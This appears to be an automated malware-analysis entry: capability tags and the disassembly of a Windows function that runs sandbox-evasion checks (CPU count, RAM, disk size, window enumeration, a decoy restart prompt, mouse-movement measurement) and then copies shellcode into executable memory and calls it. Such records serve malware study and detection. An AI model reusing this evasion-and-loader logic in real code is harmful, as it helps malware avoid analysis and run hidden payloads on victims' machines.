Function at 0x140011294
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get memory capacity
Get system information on windows

Disassembly:
jmp 0x140011aa0
push rbp
push rsi
push rdi
sub rsp, 0x6c0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x110
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x670], rax
lea rcx, [0x1400240f4]
call fcn.1400113b6
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 2
jae 0x140011afb
xor eax, eax
jmp 0x140011db5
mov dword [rbp + 0x80], 0x40
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rbp + 0x88]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0x800
jae 0x140011b46
xor eax, eax
jmp 0x140011db5
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x144]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x118]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp + 0x124]
mov rcx, qword [rbp + 0x118]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x128]
imul rax, rcx
mov ecx, dword [rbp + 0x12c]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 0x64
jae 0x140011c2d
xor eax, eax
jmp 0x140011db5
mov byte [rbp + 0x184], 0
lea rdx, [rbp + 0x184]
lea rcx, [0x140011014]
call qword [sym.imp.USER32.dll_EnumWindows]
movzx eax, byte [rbp + 0x184]
test eax, eax
je 0x140011c5a
xor eax, eax
jmp 0x140011db5
mov r9d, 3
lea r8, str.Restart_required
lea rdx, str.Do_you_want_to_restart_your_computer_now_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 0x1a4], eax
cmp dword [rbp + 0x1a4], 6
jne 0x140011c8c
xor eax, eax
jmp 0x140011db5
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.USER32.dll_GetCursorPos]
xorps xmm0, xmm0
movsd qword [rbp + 0x208], xmm0
xor eax, eax
cmp eax, 1
je 0x140011d59
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rbp + 0x1e8]
mov ecx, dword [rbp + 0x1c8]
sub ecx, eax
mov eax, ecx
mov edx, 2
mov ecx, eax
call fcn.1400113fc
movsd qword [rbp + 0x668], xmm0
mov eax, dword [rbp + 0x1ec]
mov ecx, dword [rbp + 0x1cc]
sub ecx, eax
mov eax, ecx
mov edx, 2
mov ecx, eax
call fcn.1400113fc
movsd xmm1, qword [rbp + 0x668]
addsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.140011050
movsd xmm1, qword [rbp + 0x208]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rbp + 0x208], xmm0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1e8], rax
movsd xmm0, qword [rbp + 0x208]
comisd xmm0, xmmword [0x14001b270]
jbe 0x140011d54
jmp 0x140011d59
jmp 0x140011ca4
lea rax, [rbp + 0x230]
lea rcx, [0x14001b040]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1cd
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x418], rax
mov r8d, 0x1cd
lea rdx, [rbp + 0x230]
mov rcx, qword [rbp + 0x418]
call fcn.1400111d6
call qword [rbp + 0x418]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001aec0]
call fcn.14001133e
mov rax, rdi
mov rcx, qword [rbp + 0x670]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x680]
pop rdi
pop rsi
pop rbp
ret